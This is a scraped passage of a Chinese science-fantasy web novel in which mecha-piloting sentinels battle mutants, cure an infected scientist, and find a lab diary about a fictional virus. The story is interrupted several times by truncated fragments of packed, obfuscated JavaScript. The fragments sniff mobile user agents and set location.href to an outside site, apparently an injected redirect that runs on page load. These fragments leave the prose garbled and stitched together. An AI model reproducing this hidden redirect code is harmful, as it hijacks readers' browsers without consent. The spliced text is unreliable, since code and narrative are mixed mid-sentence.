d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068153|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越近了。 麦考夫打开战术照明灯，发现金属门框因断电扭曲成怪异的弧度，冷库储存舱的观察窗上凝结着沥青状抓痕——粘稠的黑色物质正沿着玻璃缓缓下滑，在紫外线灭菌灯下泛出诡异的虹光。 当第一声低吼从通风管炸响时，卡修斯手背关节处飞出的利刃已对准天花板。 “右侧两点钟方向！”湛容华吼声未落，一团人形黑影便从管道裂隙中砸落！ 那曾是人类的躯体，如今表皮如同融化的沥青，胸腔以下完全液化，脊椎骨刺穿肩胛骨化作镰刀状的骨刃！ 它匍匐爬行的轨迹残留着焦臭的粘液，所经之处的地板被腐蚀出密密麻麻的蜂窝孔洞。 “液氮！”麦考夫的枪轰碎了一只变异体的头颅，但飞溅的黑色浆液几乎眨眼间就要裹住他的小腿。 解厉的液氮喷射器立刻补上，低温将沥青物质瞬间凝固，而后被云川的触手用力拍到一旁，砸了个粉碎。 阿比盖尔反手抽出腰间的激光匕首，刀刃划过变异体脖颈时带起粘稠的黑色丝线。她借力蹬上实验台，合金靴底踩爆一支液氮储存管，爆裂的寒气将四处飞溅的液体定在半空，而后一脚碾碎。 “这还有冷冻剂！”她翻身跃下的瞬间，卡修斯已将液氮喷射器对准地面。 “变异体越来越多了……必须找个东西一次性解决……” “可那玩意儿在哪里呢……” 云川的目光开始在实验区飞速游走，终于在一个靠墙角落找到了两台超速离心机！ “给我一个强力炸｜弹！”她尖叫。 一片混战中不知道是谁喊了句“走你！”，总之等云川反应过来的时候，她的眼前赫然飞过来一只嘴里塞着炸｜弹的变异体！而她下意识就用触手把变异体连带炸｜弹一起狠狠抽向离心机！ 云川大喊：“后退！后退！都把变异体弄到离心机这里来！我说三二一后谁来瞄准引爆炸弹！” “三！二！一！引爆——！！！” 卡修斯一个飞刃射向炸｜弹！ 众人退出实验区的瞬间，冲击波掀翻了将近二十只变异体。 飞散的金属碎片嵌入它们的沥青躯体，但伤口立刻被流动的黑色物质填补，阿比盖尔和解厉瞅准时机冷冻它们，湛容华大吼一声，机甲身后强壮的尾巴一扫而过，将其破坏成碎。 麦考夫趁机射出碳纤维网，带电的网丝将三只变异体禁锢在一台他叫不出名字的机器旁。但此时大开杀戒的他根本不在乎，他一脚踹开这台机器，拔出插电线，恶狠狠朝网上一丢！ 电流立即将这些怪物碳化！ 正在此时，云川狼狈躲过一只朝她扑来的变异体，在地板上滚爬一圈后用空余触手举起机器将它砸成肉泥。 然而就在她的脑袋结结实实和地面进行亲密接触的时候，她一直死寂的精神域网里突然出现了一个闪着光的亮点！ 云川大喜！ “下方监测到生命波动！可能是那位幸存的科学家！” 18. 不灭灯塔18 天花板的消防喷淋头在刚才的战斗中不知被谁打爆，在云川话音刚落时将众人淋了个彻底，而更危险的是，周围接触到水流的电线瞬间爆出刺目的电弧。 云川余光扫过墙上的高压电警示标志：“所有人，先退到消毒室。” 消毒室的环境昏暗但干燥，且周围有一圈防爆玻璃，对于眼下来说还算安全。 就是在接连挤了六台魁梧的机甲后，消毒室内原本还算宽敞的空间一下就显得逼仄许多。 云川借着室内的低温雾气环顾四周。 只见全息投影的基因链依旧在穹顶流转，培养舱里漂浮着的不知名生物的深红色胚胎令湛容华倒吸冷气。 他深深凝视着那些被浸泡在福尔马林中的实验体，陷入一阵长久的沉默。 少顷，湛容华将目光落在正在紧急破解实验室程序的麦考夫身上。 ……就是说，大家能不能不要这么严肃地在他背后盯着他看啊他现在压力好大啊啊啊！ 被夹在最中间的麦考夫盯着眼前的全息屏幕，额头不断渗出冷汗。 “我们下方确实存在一个独立空间，也许正是那位科学家的藏身之处，按理来说这个地方应该有一个往下的电梯才对，可我们却没有发现……试试看S101的芯片，里面或许有破解秘密的钥匙。” 麦考夫将S101芯片插在掌心的一个数据接口，手指在全息屏幕上移动的速度简直令人眼花缭乱。 “快点儿！”解厉双眼紧紧盯着应急门，感觉到外面逐渐接近的脚步声，压低声音催促道，“怪物又要来了！” 麦考夫的瞳孔倒映着全息界面上跳动的警告——【生物污染四级警报：您暂无访问权限！！！】 “该死，S101权限验证失败！”麦考夫怒骂，“——实验室要启动清剿模式了，大家小心！” 话音未落，众人身后墙壁突然裂开数道细缝。 “咔嗒嗒——咔哒哒——” 机械转轴的摩擦声让所有人寒毛倒竖。 他们立马和墙壁拉开距离，然而为时已晚！ 十二台球型的机械守卫从细缝裂口处弹出，一时间所有人都被那强势的激光束网阵逼退到标本陈列区。 见此情形，解厉当即抄起液氮罐砸碎玻璃展柜！湛容华再次放出身后的巨型尾巴横扫而过，替身后队员挡住了第一波离子弹攻击。 云川还是第一次见到会动的机械守卫。其实在现实世界里，艾伊尔公司也有类似的保护装置，但从不启用。所有人都只把这些圆头圆脑的小家伙当成吉祥物摆件，没想到在模拟战场中它们居然真成了大杀器！ 云川听见麦考夫的咒骂声从后方传来，他正把数据线插进机甲【红影】的脊椎接口，全息键盘在视窗上疯狂闪烁。 麦考夫：“再给我三十秒钟！！！” 第二层防御被激活的瞬间，脚下地板突然变成流动的金属沼泽。 云川的四条触手挂住横梁，拽着阿比盖尔躲过从墙壁伸出的电锯。 卡修斯抽出刀一把劈开袭来的机械蜈蚣，蓝血溅在培养舱上，激活了某种警报。 云川感觉到麦考夫愈发焦灼的情绪——他的破解进度卡在97%！ “你还要多久！”湛容华暴喝，“已经快一分钟了！” “快了快了！” ……当一团明显经过基因改造的杀人蜂群从通风口涌入时，一直保持沉默的云川叹了口气。 果然，下一秒—— “啊啊啊啊怎么那么多虫子老娘要炸了这里！” 解厉原本还算理智的大脑在目睹蜂群的瞬间陷入彻底的疯狂！ 她撕开了EMP手雷！ 电磁脉冲让三台机械守卫短路爆炸！ “你冷静点！”云川拖着解厉在满地黏液里翻滚，精神触须半强迫地刺入她的身体，努力抚慰她失控的情绪。 然而就在这时，她的背后传来了培养舱解冻的液压声。 麦考夫突然发出野兽般的低吼，机甲上的链接口迸出电火花。 妈妈！我不是孬种！ 麦考夫一边在心里悲戚地想，一遍调动浑身意志力，终于突破了实验室最后一道加密程序！ 隐藏大门开启的刹那，一条变异的尾巴死死缠住了云川的脚踝。 千钧一发之际，卡修斯将刀掷向总控台！ 飞旋的刀锋切断电源前的那一秒，云川看见麦考夫像是力竭般地瘫在原地，手指还保持着敲击虚拟键盘的姿势。 黑暗降临的瞬间，培养舱里的怪物发出婴儿啼哭般的嘶鸣，而警报解除的绿光终于亮起在所有人的头顶。 “芝麻开门！”麦考夫的声音与警报解除的蜂鸣同时炸响。 走廊上，隐藏气密门滑开的刹那，五人拽着他扑进核心区。 身后传来杀人蜂群撞击的高频尖啸，而十米外的透明隔离舱内—— 云川看见，一只下半身是蛇尾的怪物正用它那双金黄色的竖瞳，于黑暗中阴沉凝视着自己。 有那么一瞬，她仿佛看见那只怪物从阴影中蜿蜒而出，分叉的舌尖轻轻擦过她的耳垂。 一种陌生又熟悉的吟唱从她颅骨深处流出…… 【融化影子，夭亡身躯，粉碎精神。】 【触及一切初始的圆心，呼唤不朽的生命……】 不朽的生命？ 云川喃喃：“那是什么？” “什么？”湛容华顺着她的目光看去，却只望见一片虚无缥缈的黑暗。 …… 灵微实验室下方居然还有个防空洞。 顺着气密门后的通道一路往下，出现在众人眼前的，就是一个几乎已经半坍塌了的老旧地下防空洞。 云川怀疑，灵微生物之所以选择建在大剧院地下，很可能是因为当初的建造者看上了这一处防空洞。 狡兔尚有三窟，他灵微生物披三层皮子，有何不可？ 机甲自带的照明光束扫过墙上干涸的沥青状物质。 卡修斯用匕首刮下了一点黑色胶质。 “这是……感染体的残留物。”云川蹙眉，回忆起地表那些癫狂哀嚎的感染者。 空气中原本若有若无的福尔马林味道突然浓烈起来，随着逐渐深入，众人面前赫然出现三道被暴力撕开的安全门。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068154|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他们飞快往里走去。 应急电源忽明忽暗。 这一次，依然是卡修斯最先看到玻璃墙后的场景：数十具穿着防护服的尸体以扭曲姿态冻结在逃生通道前，他们的防护面罩内侧布满抓痕，仿佛在诉说曾经的绝望与挣扎。 云川注意到他们的身体并未出现明显的异化倾向，只是所有人都面露惊恐，就好像曾经看见过什么极度可怕的东西一般。 联想到之前湛容华与麦考夫经历的“精神污染”，云川心下不由浮现起一个猜测。 其实，早在遇到那名高喊着她是怪物的剧院经理时，云川就认为，这种名为“星陨”的RNA病毒，除了会使人在肉｜体上发生可怕的融化现象之外，还会扭曲被感染者的精神。 可是，如果真是这样，那么病毒对于人类生理和心理上的侵蚀，究竟是同时发生，还是相互作用的呢？ 抑或是，一个为因，一个为果？ 眼睁睁看着身体融化却无法停止，这种绝望的确会导致精神失常，可眼前这群死者的肉｜体依旧完好，却似乎已经出现精神崩溃的现象…… 正在云川思考的时候，前方开路的解厉已经靠火力轰出了一条路。 一股散发着恶臭的焦糊肉味顿时弥漫四周。 这对五感灵敏的哨兵来说不亚于酷刑。 麦考夫强忍着呕吐的欲望，飞快穿过尸堆中心被烧出来的大洞，奔向前方。 那是一个配备了实验台和监控系统的场地，本该是主控座位的地方正静静摆放着一个冷冻休眠仓。 当阿比盖尔用液压钳破开气密舱时，冷冻休眠舱的蓝光骤然亮起。 湛容华打开舱门。 只见，舱内蜷缩着一名浑身血污的白大褂女子。 当阿比盖尔和解厉试图将她搬运起来的时候，女子突然抓住一旁卡修斯的手腕，涣散的瞳孔里映着蓝光：“解药……解药在……” 卡修斯垂眸，面无表情地俯视着她。 “在哪里？” 他的目光扫过女子胸前的身份牌，最后停留在了她裸｜露的脖颈处。 在那片苍白的皮肤上，有一些不规则的、微小的凸起，就像有什么东西在皮下试图破茧而出。这些凸起的纹路犹如古老的符文，散发着一种令人毛骨悚然的气息，触碰时冰冷刺骨，仿佛触摸到了深海中的寒石。 卡修斯微微眯起眼睛，却没有收回手。 他托着女子的后颈，仿佛很有耐心地又问了一遍：“解药在哪？” “在这里。” 然而最终回答他问题的，不是他怀中的这名女子，而是身后的云川。 云川打开一旁的药品冷藏柜，从里面拿出一个透明的玻璃容器。 解厉有点狐疑地看着她。 “川川姐，你怎么能确定这就是解药？” “因为上面有写。”云川平静地指了指药品冷藏柜，“每一层柜子的每一列药剂都有标明名称。星陨RNA病毒解药——幽梦试剂。” 也就在这时，众人耳边再次响起熟悉的礼花绽放声。 【第二轮比赛结束】 【全员晋级！】 19. 不灭灯塔19 真是太不小心了……云川想，如果世界上真的存在这种名为“星陨”的RNA病毒，灵微生物公司又恰好研制出了相关解药，那么此刻她手里拿着的就不再是一瓶单纯的解药，而是一颗裹着专利糖衣的毒苹果。 是公司……沾满鲜血的印钞机。 它应该被单独安置在一个设有层层密码的保险冷冻箱里派人严加看管，而不是像现在这样，就只是简单地放在药品冷藏柜里任人拿取。 简直是白送。 云川注视着手中的幽梦解药。 它被保存在一个特制的透明玻璃容器中。这种玻璃并非普通玻璃，而是一种经过特殊处理的高强度石英玻璃，能够承受极端的温度和压力变化。 而解药本身，则呈现出一种深邃而神秘的蓝色，这种蓝色在不同的光线下会闪烁出微弱的紫色光芒，质地类似稀薄的凝胶，流动性较慢。 当容器倾斜时，解药会缓缓地沿着玻璃壁流动，留下一道如同星云般的痕迹。 云川看到一些微小的金色颗粒悬浮其中，这些颗粒像是星空中的繁星，不停地闪烁和游动。 “真漂亮。”云川赞叹。 “好像流麻啊。”解厉感慨。 “两位，醒一醒。”阿比盖尔打断她们，“我们的目标科学家好像要变异了。” “是、是不是该先给她来一针？”麦考夫有点结巴。 “这位科学家已经出现感染症状，并且她的精神正在崩溃。” 湛容华轻轻抬起女子的下巴，仔细观察着她满是血丝，但毫无焦距的眼睛。 “要处理掉她吗？” 卡修斯偏头，余光看向云川。 “第三轮比赛的任务目标是撤离到城外安全区。不限时间。” 云川沉吟。 “和前两轮相比，这一轮的自由度似乎高了很多。这意味着有更多的隐藏加分项。比如是否将科学家和解药同时护送至安全区……” “可是，解药只有一瓶。” 阿比盖尔显得有点迟疑，“我们是用它来救人……还是先把人和解药一起带出去？” “她撑不了那么久。” 解厉说，“你们看，她的手臂肌肉已经开始出现奇怪的膨胀了。就算我们把她带出去，她最后也会变成怪物。所以，要么现在就杀了她，要么赶紧救她。” “可万一这一轮的加分点是必须把解药安全带离呢？”麦考夫道，“我们只有一瓶解药。把药带出去或许能救更多的人，可如果给了科学家，要是她撑不下来……解药不就浪费了吗？” 云川：“想开一点，麦考夫。就算我们把解药带了出去，或许也什么人都救不了。” 湛容华：“为什么这么说？” 面甲下，云川略带讥讽地勾起唇角。 “谁能研制解药呢？”她淡淡地问，“哪怕药企AI将这瓶解药成分扒得连底裤都不剩，可谁来生产这些解药呢？这可是灵微生物公司研究出的独家产品，你刚仿出个分子式，相关法务部的律师函就会顺着星网爬过来找你索命。” 麦考夫有点不可置信：“但灵微生物是幽灵公司！” “普通的幽灵公司可搞不出那么大的实验室，背后一定有人暗中支持。何况幽灵公司也有法务部。”云川道，“他们可以申请专利。告你侵权。” “这是不是太现实了！”解厉咋舌，“我们现在是在模拟世界，事件走向应该不至于这么邪恶吧？” 云川：“我只是根据经验提供一个思路而已。” “很难想象你都经历过什么事……”阿比盖尔有点惊悚地看她一眼。 “所以，当务之急还是先救人吧。”听了云川那一番话后，湛容华感觉自己有点牙疼，“如果科学家活下来，她就能制作更多解药。而且她本来就是灵微生物的雇员，自家人做自家药，总不算侵权吧？” 众人面面相觑。 无论是从比赛逻辑还是现实逻辑上看，选择先救人似乎是最好的选择。 云川在凌乱的桌面上找到了未拆封的针管注射器。 抽取药液，排空气泡，静脉注射。 她做这一系列事情的时候显得格外行云流水。 小队成员们屏息凝视着休眠舱。女科学家林艾的脖颈已浮现出青黑色血管，皮肤也开始变得粗糙暗沉。 ——机甲掩盖下，云川握紧注射器的手几乎青筋暴起。 当针尖刺入静脉的瞬间，所有人同步屏气，仿佛连呼吸都会惊动死神。 随着最后一点蓝色的液体被注入林艾身体中，她的四肢突然剧烈抽搐！ 卡修斯牢牢按住她的身体。 湛容华则将手指指腹贴在林艾的两侧太阳穴上，温柔地替她稳定精神。 当第二波痉挛袭来时，阿比盖尔突然指向林艾手臂——只见那里，原本已经有溃烂迹象的皮肤正以肉眼可见速度结痂。 “体温38.6℃，较注射前下降2.3℃！“随着麦考夫的报数，林艾睫毛微颤。 云川用两根手指撑开她的眼皮，见她涣散的瞳孔开始重新聚焦。 …… “她醒了。”卡修斯说。 林艾刚睁开眼，看见的就是六名身材高大，全副武装的机甲战士。 “你感觉怎么样？”湛容华温声询问。 “我……”林艾低头看着自己依旧正常的手，喃喃，“我不是被感染了吗？怎么——” 她猛一抬头：“你们给我注射了幽梦解药！” “是的。”云川说，“你看起来恢复得不错。” 林艾一下子就从休眠舱里冲了出来，跌跌撞撞跑到药品冷藏柜前。 在看见空空如也的存储玻璃瓶后，她似乎无法接受般地滑坐在地上。 “可是幽梦只有一瓶！我费劲心思才只研制出一瓶！如此珍贵的解药……你们怎么能将它用在我的身上呢？……呜呜呜，我这种人，根本不配……” 林艾捂住脸。 大滴大滴的眼泪从手指间的缝隙流淌出来，在她满是血迹的白大褂上留下一点点洇湿的深色泪斑。 众人彼此交换了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我并不清楚它的出处，只知道它是一种单链RNA病毒，通过飞沫和接触传播。被感染的生物体最开始会出现精神失常的症状，并开始咳嗽、轻微发热，随着病毒逐渐扩散，感染者开始出现幻听幻视，内脏器官会逐渐衰竭，最终融化成一滩沥青般的烂泥。感染者一般活不过七天。 由于这种病毒一旦降临，就会给人体带来灾难性的变化，如同流星陨落，因此，我和我的导师将它命名为星陨RNA病毒。” “公司希望通过研究星陨病毒对人体的侵蚀和改变机制，开发出一种可以控制人类思想和行为的技术。为此，我们做了许多实验。然而，有一天，意外发生……一名志愿者在注射病毒后出现了严重幻觉，不仅发狂杀死了导师，还造成了实验室感染……有些人趁乱逃了出去，由此感染了更多的人。” “我不得已撤入地下防空洞，开始一边研制解药，一遍向外发送求救信号。终于，” 林艾眼含热泪。 “我等到了你们……” 云川温声说：“辛苦您了，林小姐。现在，请开始制作解药吧。” 20. 不灭灯塔20 幽梦解药主要有三种成分。 幻星花汁提取物，锚晶石粉末，以及一种深海特殊藻类的精华。 也许是“幻星花”“锚晶石”的名字听上去过于文艺和魔幻，在场的大部分人都没有把这个配方当真。模拟战场嘛，参赛者最看重的还是战斗和策略。至于有没有解药，解药叫什么名字，需要什么材料，符不符合逻辑……就不是他们需要考虑和研究的事情了。 因此，当林艾进入无菌室开始调配解药时，只有云川和湛容华参与进去，主动帮忙。 云川自然不必多说。 在觉醒向导之前，她一直就是干这行的，对实验室各类操作熟稔于心。她几乎是下意识就走进来了，还差点赶走林艾自己干。 但湛容华的表现令她稍感意外。 ——这个少年抽吸药液时的手法简直稳如老狗，排气时一点药液都没有浪费，一看就是有经验的。 难道圣所也教这些吗？云川暗暗想。 觉察到她的目光时不时落在自己身上，湛容华拿着药瓶的左手微微用力。 少顷，他笑了笑，抬头回望过去：“云川，你在看什么？” “我在看你。”云川说，“你低头干活时的模样让我想起一个人。” 面甲后，湛容华的眼神闪了闪。 过了一会儿，就在云川以为他不会回答的时候，她一直沉寂的精神域网里，忽然响起一个声音。 【——我让你想起了谁？】 少年人嗓音清亮，却隐约带着几分寒意。 云川垂眸。虽然她心底清楚自己此刻身在模拟战场，眼前的一切都是全息投影，然而它的建模实在太逼真了。当她嗅闻到空气中隐隐散发的化学试剂气味的时候，竟然真的产生了一种，正在现实中调查某个邪恶实验室的错觉。 她将从幻星花汁中提取出的金色液体注入恒温反应炉，与从锚晶石粉末中提炼的银色凝胶混合。 【你的姐姐，湛信芳。】云川回答湛容华。 ……反应炉内发生了剧烈沸腾。 此时，林艾走过来，往里面加入了三滴深海藻类精华，原本剧烈沸腾的混合物突然平静，慢慢变成一种蓝色的稀薄凝胶，内部游动闪烁着细小的光点。 “成功了！” 林艾大喜，将完成的解药注入玻璃瓶中，再小心翼翼存放进冷冻箱中。 【你知道了。】 在所有人看不见的地方，湛容华的精神触须蜷缩后又迅速伸展，带着些许跃跃欲试的进攻意味。 【我什么也不知道。】云川似毫无所觉般，始终保持着明面上的沉默，【我和湛信芳共事快一年，却不知道她还有个你这么大的弟弟。】 这话是真的。云川和湛信芳只是单纯的同事关系。除了工作，两人基本没有私交。 【可我在你进入圣所第一天的时候就知道你了。】 湛容华终于将脸转向她。隔着面甲，云川感受到他的眼睛正盯着自己，一眨不眨。 【云川博士，我姐姐她，究竟是怎么死的？我不相信她会做出那种事。她很珍惜自己在艾伊尔的工作，她不可能会背叛艾伊尔，更不可能因此自杀——】 【抱歉，阿华。】 云川深深凝视着他。 【……我不知道。】 她告诉他：【我当时不在现场。可有人拍下了信芳破坏实验的证据。他们抓到她往培养皿里倒酒精……然后她就……】 【她不会这么做的。】湛容华斩钉截铁。 【你无法为她证明。】云川蹙眉。 【我会的。】云川看见湛容华五指收紧握成拳头，【我会证明我姐姐是无罪的。我相信她。她绝对不会干这种事，更不可能畏罪自杀……她一定是被害死的！】 云川不为所动。 【你没有证据。】 【我会去找！】 【你打算怎么做？】 云川眯起眼睛。 【你只是个还没从圣所毕业的B级向导，阿华。你姐姐破坏的，却是艾伊尔公司近十年以来最高级别的科研项目。这背后所牵扯到的利益集团，可不仅仅只有公司。你打算从何查起呢？事先声明，我是签了保密协议后才从艾伊尔离职的，你不会从我这里得到任何有关项目内容的信息。在这样的情况下，你想从何处入手？你又能从何入手？】 【我……我……】湛容华的精神触须摇摆不定，正如他一团乱麻的大脑。 可怜的孩子。云川摇摇头，她都能想象到，此刻少年那张混杂着愤怒和沮丧的年轻面孔。 湛容华的胸膛剧烈地上下起伏，过了一会后，他深深吸了口气，看得出正在努力平复心情。 【我会向艾伊尔公司提出诉讼。他们必须为我姐姐的死负责。】 【不错的思路。】云川微不可察地点了点头，【但还是那句话，你要拿出证据。而且……】 她顿一顿。 【我知道，你想证明你姐姐的死背后另有隐情。可是，阿华，你有没有想过，如果信芳此时还活着……她需要面对的，也许会比死亡更可怕？】 湛容华一愣。 他还想再追问些什么，云川却已转身离开无菌室，只留给他一个冷漠高挑的背影。 湛容华莫名打了个寒颤。 他望向云川，眼神有些恍惚。 在某一个瞬间，他觉得逐渐离他远去的云川好像不是人类。而更像一个…… 游荡在黑夜中的孤魂。 …… 【姓名：云川】 【当前排名：2/48】 云川的目光在个人悬浮面板上停留。 她的名次在第二轮比赛时上升了一名。 ——因为探测到林艾和地下防空洞的位置，系统给她个人加了五分奖励分。又因为队友齐心合力破解机关，团队也有额外加分。 要是能看见和第一名相差多少分就好了。云川正想着，身后冷不丁响起一个声音。 “你在看什么？” 那嗓音沙哑，低柔，带着尚未褪尽的棱角，如同摩挲过天鹅绒的钝刃，在声带上轻轻刮擦而过，拖拽出一点蜿蜒的暗痕。 云川瞬间关闭面板：“看比赛的排名。” “情况如何？”卡修斯站在她背后问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068156|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “有人压我一头。”见他迟迟不走上来，云川转身，后腰靠着一排柜子，双手轻轻搭在柜面上，显得有些漫不经心，“你呢？” 卡修斯：“意料之中。” 云川略一歪头：“好还是不好？” 卡修斯想了想：“一般。” 云川想起之前系统公示团队得分时，杀敌那一栏中出现的某个显眼数字，不由一笑。 “第一轮比赛时，团队杀敌得分那儿的【71】，是你干的么？” 在防空洞冰冷的光线下，对方机甲面部那两道紫色的缝隙似乎闪烁了一下。 “没错。”卡修斯很干脆地承认，“等你们的时候，我清除了大剧院里外的敌人。” 难怪他当时是从外部天花板跳进来的……原来是去清怪了。 “你很厉害。”云川真诚赞叹。 “上战杀敌，这是我应该做的。”卡修斯说，“为即将到来的队友清理战场，也是。” “可我听阿比盖尔说，你之前受过伤。”云川微微仰起头，“那会影响你的发挥吗？我们待会儿撤退安全区时，可能会遇到比之前更多的感染者。” 因为害怕病毒会从呼吸道进入，这次模拟战场的全体队友都没有取下过面甲。因此，除了之前见过面的解厉和湛容华，云川到现在都不清楚另外三名队友的长相，只能根据机甲外形和声音认人。 卡修斯的机甲是众人里最高的。 此时他就站在她半米外的距离安静地看着她，乍看去像一尊沉默的雕像，可只要仔细观察，就能发现他的机甲表面其实正隐隐流动着奇妙的光彩，正如深海中，刺客潜鲛斑驳闪烁的鱼鳞。 卡修斯：“我休养了一个月，已经没事了。你其实不必担心。我……适应得很快。” 说到最后一句话的时候，他向来低柔的语调微微上扬。 这给了云川一种他正在微笑的感觉。 “那真是太好了。”云川也露出笑容，“不过，冒昧问一句，卡修斯。你之前是怎么受伤的？” 卡修斯慢慢吐出一个词：“爆｜炸。” 云川一愣。 但她很快回过神来，“好巧哦，我之前也是因为爆炸住院的呢。” 说着，她朝对方伸出一只手：“看来，我们可以一起加入爆|炸受害者联盟。” 云川的手停在半空中。 “受害者联盟？”卡修斯的目光轻轻落在她被生物组织覆盖的右手上，低头重复了一遍她的话，有些玩味地哼笑一声，“倒确实是受害者。” 说着，他握住云川的手。 “你好，云川。我的……”卡修斯想了想，说，“——同盟。” “好了，五分钟休息时间结束。”阿比盖尔的声音从卡修斯身后传来，“大家准备一下，要上路了。” 云川松开手。 “走吧。”她说。 卡修斯顿了一下，也平静地收回手，转身向其他人走去。 云川直起身体，正要离开，手肘却不慎碰掉了什么东西。 是笔记本。 快要落地时，被触手及时卷起，送到她的眼前。 21. 不灭灯塔21 被触手送至眼前的是一本黑皮笔记本，表面结着层薄薄的灰，看样子有段时间没被使用过了。 云川拂去灰尘，边向等待自己的队友们走去，边翻开了笔记本的第一页。 这是一本实验日志，日志的署名是—— 窦丽华。 云川的眉心下意识皱起。 这个名字……听起来为什么有些耳熟？ · 3111年3月15日 今天，我带领的研究团队开始了一项极为危险且神秘的项目——对从蛇人身上提取出的病毒进行研究。 这一病毒样本的获取过程充满艰辛与未知，仅仅是接近蛇人遗迹就面临巨大风险，我们必须在此感谢奥森先生的大力支持和调查队员的无私奉献。 当我第一次看到这个病毒样本时，它被密封在特殊容器内，仍散发着令人不安的气息。样本呈现出一种深紫色的浑浊状态，仿佛里面蕴含着无尽的黑暗力量。 在初步的显微镜观察下，病毒的结构极其复杂，和我们以往见过的任何病毒都不同。它有着扭曲的形状，像是一些奇怪的符文组合在一起，可能暗示着它有独特的感染和传播机制。 团队首先对它进行了基础的生化分析，试图确定其基本组成成分，可结果却令人大为震惊。它的成分中包含了一些我们先前从未发现过的元素，并且在对其基因序列进行测序的过程中，测序仪器多次出现异常波动，仿佛这种病毒在抗拒我们的分析。 我深知这项研究的危险性。不仅仅是因为病毒本身的未知，还因为它可能带来的潜在威胁。所以，我们在防护措施上不敢有丝毫懈怠，整个实验室都处于最高级别的密封和隔离状态，所有进出人员和设备都要经过严格的消毒和检测程序。 目前，我还处于对这个病毒初步探索的阶段。 但我非常兴奋，在我看见病毒样本的那一秒，我就知道自己辞去帝国理工XBE教授职位的做法是正确的。 它就像一个巨大的谜团，等待着我去解开。 3111年4月28日 经过一段时间的研究，我对该病毒有了新的发现，但这些发现也让我们更加担忧。 我们尝试将病毒样本与不同类型的细胞进行接触实验，发现它对几乎所有类型的细胞都具有极高亲和力……而且，病毒会迅速附着在细胞表面，以一种难以理解的方式渗透进细胞内部。一旦进入细胞，它就开始疯狂改写细胞的基因表达，将细胞转化为生产更多病毒的工厂……而除了常见的空气传播和接触传播外，它似乎还能通过一种神秘的能量场进行传播。这完全超出了我们的理解范围，我们设置各种屏障来阻止病毒的传播，但它总能找到突破的方法，就好像它具有某种智慧一样。 为了寻找可能的应对方法，我们开始从蛇人自身的免疫系统入手。 假设，蛇人在长期与这种病毒共存的过程中，可能发展出某种特殊的免疫机制。然而研究蛇人的免疫系统又是一个巨大的挑战，因为我们对它们的生理结构了解甚少，我们只能从现有的活体蛇人，病毒样本以及遗迹中搜寻到的古老文献中寻找线索。 在这个过程中，实验室里也开始出现一些奇怪的现象。 有些实验设备会突然出现故障，有成员声称听到了一些微弱的、类似低语的声音。 虽然我们都知道这可能是由于心理压力和紧张情绪导致的幻觉，但这些现象还是给整个研究团队带来了不小的心理阴影。 时间紧迫。 我需要尽快找到控制这种病毒的方法。 3111年6月05日 今天的研究有了一个重大突破。 在研究蛇人免疫系统相关线索的过程中，我们偶然发现了一种特殊的分子，它似乎能在一定程度上抑制病毒活性。当我们将这种特殊分子引入被病毒感染的细胞中时，病毒的复制速度明显减慢，细胞病变程度也有所减轻。 然而，在进一步的研究过程中，我们发现该特殊分子具有一些不稳定的特性。它的活性会随着环境因素的变化而迅速衰减，尤其在高温条件下。为了解决这些问题，我尝试对该特殊分子进行基因工程改造。 在这个过程中，实验室里的异常现象变得更加严重。那些窃窃私语声似乎变得更清晰，仿佛有什么东西在试图阻止我们的研究，一些成员开始出现精神恍惚的症状。 究竟是长时间的高压影响导致幻觉出现，还是病毒本身就具有未知的力量？ 我不知道。 3111年6月19日 自从上次记录之后，我能明显感觉自己的精神状态也大不如前。在研究工作中，我的思维不再像以前那样清晰有条理。 进行样本分析时，我常常会陷入无端的恐惧和恍惚中。今天，当我再次观察病毒的RNA结构时，那些扭曲的分子链仿佛活了过来，在我的视野当中不断扭动、缠绕。 我的身体也开始出现奇怪反应，时不时就会感到一股寒意从脊椎升起，然后蔓延全身，尽管实验室的温度是恒定的。 我的梦境变得异常恐怖，充满深不见底的黑暗、巨大的蛇形生物，和一种难以言喻的压迫感。 3111年6月23日 我发现自己开始做出一些违背常规实验步骤的操作。 原本严谨的我，会不自觉跳过一些重要的安全检查程序，就好像有一股力量正在驱使我去冒更大的风险。 我试图和奥森联系，告诉他我的感受，可他似乎并没有完全理解我的处境，并认为我是在用这种方式威胁他提升我的薪资。 这个蠢货，他什么都不明白。 我必须要找到一种方法来抵抗这种影响，否则不仅研究无法继续进行，还可能会引发不可预估的灾难。 3111年7月12日 我正逐渐失去对自己的控制。有一只无形的手正不断撕扯我的灵魂。 